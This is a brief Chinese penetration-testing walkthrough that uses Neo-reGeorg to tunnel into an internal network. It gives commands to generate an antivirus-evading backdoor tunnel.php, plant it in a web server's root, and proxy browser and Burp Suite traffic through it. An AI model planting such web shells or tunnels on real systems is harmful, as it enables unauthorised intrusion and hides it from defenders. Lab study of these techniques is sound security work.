Neo-reGeorg内网穿透

简介

reGeorg是一个能够实现内网穿透的工具，基于socks5协议，且能支持众多脚本

由于此工具使用率过高，导致容易被杀毒软件拦截, 现有一个项目是由reGeorg修改而来, 而且做了加密和免杀处理, 这款工具的名字就叫Neo-reGeorg

Neo-reGeorg下载地址: https://github.com/L-codes/Neo-reGeorg

环境拓扑图

image-20221027110440111

实战步骤

1.生成后门脚本,并放至代理服务器的网站目录

pyhon3执行neoreg.py, 随后在neoreg_servers目录生成脚本文件

python3 neoreg.py generate -k henry666 

• -k: 设置脚本的密钥

• generate: 表示生成脚本文件

将生成的脚本tunnel.php放到代理服务器的网站根目录

image-20221026225025180

2.连接脚本文件,本机启用socks5代理

输入如下命令连接脚本, 并开启socks5协议监听本机的1080端口

python3 neoreg.py -k henry666 -u http://192.168.47.149/tunnel.php

浏览器配置网络代理为socks5协议的127.0.0.1:1080, 随后访问内网主机的web服务

3.burpsuite设置socks5代理

burpsuite里设置socks5代理, 浏览器代理设置成burpsuite代理(127.0.0.1:8080)

image-20221027104319034

设置完后可正常抓取内网主机的web服务数据包